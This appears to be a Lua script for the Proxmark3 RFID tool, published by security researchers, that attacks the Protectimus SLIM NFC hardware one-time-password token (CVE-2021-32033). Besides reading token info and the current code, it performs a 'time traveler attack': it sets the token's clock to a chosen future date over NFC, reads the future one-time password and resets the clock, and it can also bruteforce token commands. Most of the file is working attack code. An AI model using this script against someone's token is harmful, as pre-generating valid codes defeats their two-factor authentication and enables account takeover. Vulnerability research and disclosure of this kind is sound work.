1 local cmds
= require('commands')
2 local getopt
= require('getopt')
3 local lib14a
= require('read14a')
4 local utils
= require('utils')
5 local ansicolors
= require('ansicolors')
7 copyright
= '(c) 2021 SySS GmbH'
8 author
= 'Matthias Deeg'
11 This script can perform different operations on a Protectimus SLIM NFC
12 hardware token - including a time traveler attack. See: SYSS-2021-007 (CVE-2021-32033)
16 script run hf_14a_protectimus_nfc
19 script run hf_14a_protectimus_nfc [-h | -i | -r | -t 2029-01-01T13:37:00+01:00]
23 -i Read token info (e.g. firmware version, OTP interval)
24 -r Read the current one-time password (OTP)
25 -t Perform a time traveler attack to a specific datetime (yyyy-mm-ddTHH:MM:SS+HO:MO)
26 e.g. 2029-01-01T13:37:00+01:00
30 local DEBUG
= false -- the debug flag
33 local READ_OTP
= 1 -- read the one-time password
34 local READ_INFO
= 2 -- read the NFC token info
35 local TIME_TRAVELER_ATTACK
= 3 -- perform a time traveler attack
37 -- A debug printout function
38 local function dbg(args
)
39 if not DEBUG
then return end
40 if type(args
) == 'table' then
51 -- This is only meant to be used when errors occur
52 local function oops(err
)
54 core
.clearCommandBuffer()
64 print(ansicolors
.cyan
.. 'Usage' .. ansicolors
.reset
)
66 print(ansicolors
.cyan
.. 'Arguments' .. ansicolors
.reset
)
68 print(ansicolors
.cyan
.. 'Example usage' .. ansicolors
.reset
)
72 -- Get the Unix time (epoch) for a datetime string (yyyy-mm-ddTHH:MM:SS+HO:MO)
73 function getUnixTime(datetime
)
75 -- get time delta regarding Coordinated Universal Time (UTC)
76 local now_local
= os
.time()
77 local time_delta_to_utc
= os
.difftime(now_local
, os
.time(os
.date("!*t", now_local
)))
78 local hour_offset
, minute_offset
= math
.modf(time_delta_to_utc
/ 3600)
80 -- try to match datetime pattern "yyyy-mm-ddTHH:MM:SS"
81 local datetime_pattern
= "(%d+)-(%d+)-(%d+)T(%d+):(%d+):(%d+)+(%d+):(%d+)"
82 local new_year
, new_month
, new_day
, new_hour
, new_minute
, new_seconds
, new_hour_offset
, new_minute_offset
= datetime
:match(datetime_pattern
)
84 if new_year
== nil or new_month
== nil or new_day
== nil or
85 new_hour
== nil or new_minute
== nil or new_seconds
== nil or
86 new_hour_offset
== nil or new_minute_offset
== nil then
88 print("[" .. ansicolors
.red
.. "-" .. ansicolors
.reset
.."] Error: Could not parse the given datetime\n" ..
89 " Use the following format: yyyy-mm-ddTHH:MM:SS+HO:MO\n" ..
90 " e.g. 2029-01-01T13:37:00+01:00")
94 -- get the requested datetime as Unix time (UTC)
95 local epoch
= os
.time({year
= new_year
, month
= new_month
, day
= new_day
, hour
= new_hour
+ hour_offset
- new_hour_offset
,
96 min = new_minute
+ minute_offset
- new_minute_offset
, sec
= new_seconds
})
101 -- Send a "raw" IOS 14443-A package, i.e. "hf 14a raw" command
102 function sendRaw(rawdata
, options
)
105 local flags
= lib14a
.ISO14A_COMMAND
.ISO14A_NO_DISCONNECT
106 + lib14a
.ISO14A_COMMAND
.ISO14A_RAW
107 + lib14a
.ISO14A_COMMAND
.ISO14A_APPEND_CRC
109 local command
= Command
:newMIX
{
110 cmd
= cmds
.CMD_HF_ISO14443A_READER
,
112 -- arg1 is the defined flags for sending "raw" ISO 14443A package
115 -- arg2 contains the length, which is half the length of the ASCII
117 arg2
= string.len(rawdata
) / 2,
121 return command
:sendMIX(options
.ignore_response
)
124 -- Read the current one-time password (OTP)
125 function readOTP(show_output
)
127 local cmd
= "028603420042"
131 print("[" .. ansicolors
.green
.. "+" .. ansicolors
.reset
.. "] Try to read one-time password (OTP)")
134 -- send the raw command
135 res
, err
= sendRaw(cmd
, {ignore_response
= ignore_response
})
141 -- parse the response
142 local cmd_response
= Command
.parse(res
)
143 local len
= tonumber(cmd_response
.arg1
) * 2
144 local data
= string.sub(tostring(cmd_response
.data
), 0, len
- 4)
146 -- check the response
148 print("[" .. ansicolors
.red
.. "-" .. ansicolors
.reset
.."] Error: Could not read the OTP")
152 if data
:sub(0, 8) == "02AA0842" then
153 -- extract the binary-coded decimal (BCD) OTP value from the response
154 for i
= 10, #data
- 2, 2 do
155 local c
= data
:sub(i
, i
)
156 otp_value
= otp_value
.. c
159 -- show the output if requested
161 print("[" .. ansicolors
.green
.. "+" .. ansicolors
.reset
.. "] OTP: " .. ansicolors
.green
.. otp_value
.. ansicolors
.reset
)
164 print("[" .. ansicolors
.red
.. "-" .. ansicolors
.reset
.."] Error: Could not read the OTP")
172 function readInfo(show_output
)
174 local cmd
= "0286021010"
177 print("[" .. ansicolors
.green
.. "+" .. ansicolors
.reset
.. "] Try to read token info")
180 -- send the raw command
181 res
, err
= sendRaw(cmd
, {ignore_response
= ignore_response
})
187 -- parse the response
188 local cmd_response
= Command
.parse(res
)
189 local len
= tonumber(cmd_response
.arg1
) * 2
190 local data
= string.sub(tostring(cmd_response
.data
), 0, len
- 4)
192 -- check the response
194 print("[-] Error: Could not read the token info")
198 if data
:sub(0, 8) == "02AA0B10" then
199 -- extract the token info from the response
200 local hardware_schema
= tonumber(data
:sub(11, 12))
201 local firmware_version_major
= tonumber(data
:sub(13, 14))
202 local firmware_version_minor
= tonumber(data
:sub(13, 14))
203 local hardware_rtc
= tonumber(data
:sub(19, 20))
204 local otp_interval
= tonumber(data
:sub(23, 24))
206 local info
= "[" .. ansicolors
.green
.. "+" .. ansicolors
.reset
.. "] Token info\n" ..
207 " Hardware schema: " .. ansicolors
.green
.. "%s" .. ansicolors
.reset
.."\n" ..
208 " Firmware version: " .. ansicolors
.green
.. "%s.%s" .. ansicolors
.reset
.. "\n" ..
209 " Hardware RTC: " .. ansicolors
.green
.. "%s" .. ansicolors
.reset
.. "\n" ..
210 " OTP interval: " .. ansicolors
.green
.. "%s" .. ansicolors
.reset
212 -- check hardware real-time clock (RTC)
213 if hardware_rtc
== 1 then
219 -- check one-time password interval
220 if otp_interval
== 0 then
222 elseif otp_interval
== 10 then
225 otp_interval
= 'unknown'
229 -- show the token info
230 print(string.format(info
, hardware_schema
, firmware_version_major
,
231 firmware_version_minor
, hardware_rtc
,
237 print("[" .. ansicolors
.red
.. "-" .. ansicolors
.reset
.."] Error: Could not read the token info")
244 -- Bruteforce commands
245 function bruteforceCommands()
250 print("[" .. ansicolors
.green
.. "+" .. ansicolors
.reset
.. "] Bruteforce commands")
254 cmd
= string.format("028602%d%d", n
)
256 print(string.format("[+] Send command %s", cmd
))
258 -- send the raw command
259 res
, err
= sendRaw(cmd
, {ignore_response
= ignore_response
})
265 -- parse the response
266 local cmd_response
= Command
.parse(res
)
267 local len
= tonumber(cmd_response
.arg1
) * 2
268 local data
= string.sub(tostring(cmd_response
.data
), 0, len
- 4)
270 -- check the response
272 print("[" .. ansicolors
.red
.. "-" .. ansicolors
.reset
.."] Error: No response")
282 -- Set an arbitrary Unix time (epoch)
283 function setTime(time
, otp_interval
)
284 -- calculate the two required time variables
285 local time_var1
= math
.floor(time
/ otp_interval
)
286 local time_var2
= math
.floor(time
% otp_interval
)
288 -- build the raw command data
289 local data
= "120000" ..string.format("%02x", otp_interval
) .. string.format("%08x", time_var1
) .. string.format("%02x", time_var2
)
291 -- calculate XOR checksum on data
293 for i
= 1, #data
, 2 do
294 local c
= data
:sub(i
, i
+ 1)
295 checksum
= bit32
.bxor(checksum
, tonumber(c
, 16))
298 -- build the complete raw command
299 local cmd
= "0286" .. string.format("%02x", string.len(data
) / 2 + 1) .. data
.. string.format("%02x", checksum
)
301 print(string.format("[" .. ansicolors
.green
.. "+" .. ansicolors
.reset
.. "] Set Unix time " .. ansicolors
.yellow
.. "%d" .. ansicolors
.reset
, time
))
304 res
, err
= sendRaw(cmd
, {ignore_response
= ignore_response
})
310 -- parse the response
311 local cmd_response
= Command
.parse(res
)
312 local len
= tonumber(cmd_response
.arg1
) * 2
313 local data
= string.sub(tostring(cmd_response
.data
), 0, len
- 4)
316 -- Set the current time
317 function setCurrentTime(otp_interval
)
318 -- get the current Unix time (epoch)
319 local current_time
= os
.time(os
.date("*t"))
320 setTime(current_time
, otp_interval
)
323 -- Perform a time travel attack for generating a future OTP
324 function timeTravelAttack(datetime_string
, otp_interval
)
325 if nil == datetime_string
then
326 print("[" .. ansicolors
.red
.. "-" .. ansicolors
.reset
.."] Error: No valid datetime string given")
330 -- get the future time as Unix time
331 local future_time
= getUnixTime(datetime_string
)
333 if nil == future_time
then
337 -- set the future time
338 setTime(future_time
, otp_interval
)
340 print("[" .. ansicolors
.red
.. "!" .. ansicolors
.reset
.. "] Please power the token and press <ENTER>")
345 local otp
= readOTP(false)
346 print(string.format("[" .. ansicolors
.green
.. "+" .. ansicolors
.reset
.. "] The future OTP on " ..
347 ansicolors
.yellow
.. "%s (%d) " .. ansicolors
.reset
.. "is " ..
348 ansicolors
.green
.. "%s" .. ansicolors
.reset
, datetime_string
, future_time
, otp
))
350 -- reset the current time
351 setCurrentTime(otp_interval
)
354 -- Show a fancy banner
356 print(string.format("Proxmark3 Protectimus SLIM NFC Script %s by Matthias Deeg - SySS GmbH\n" ..
357 "Perform different operations on a Protectimus SLIM NFC hardware token", version
))
360 -- The main entry point
362 local ignore_response
= false
363 local no_rats
= false
364 local operation
= READ_OTP
365 local target_time
= nil
367 -- show a fancy banner
370 -- read the parameters
371 for o
, a
in getopt
.getopt(args
, 'hirt:b') do
372 if o
== 'h' then return help() end
373 if o
== 'i' then operation
= READ_INFO
end
374 if o
== 'r' then operation
= READ_OTP
end
376 operation
= TIME_TRAVELER_ATTACK
379 if o
== 'b' then bruteforceCommands() end
382 -- connect to the TOTP hardware token
383 info
, err
= lib14a
.read(true, no_rats
)
390 print(("[" .. ansicolors
.green
.. "+" .. ansicolors
.reset
.. "] Found token with UID " .. ansicolors
.green
.. "%s" .. ansicolors
.reset
):format(info
.uid
))
392 -- perform the requested operation
393 if operation
== READ_OTP
then
395 elseif operation
== READ_INFO
then
397 elseif operation
== TIME_TRAVELER_ATTACK
then
398 -- read token info and get OTP interval
399 local otp_interval
= readInfo(false)
400 if nil == otp_interval
then
403 -- perform time traveler attack
404 timeTravelAttack(target_time
, otp_interval
)
411 -------------------------
413 -------------------------
416 dbg('Performing test')
420 -- Flip the switch here to perform a sanity check.
421 -- It read a nonce in two different ways, as specified in the usage-section
422 if '--test' == args
then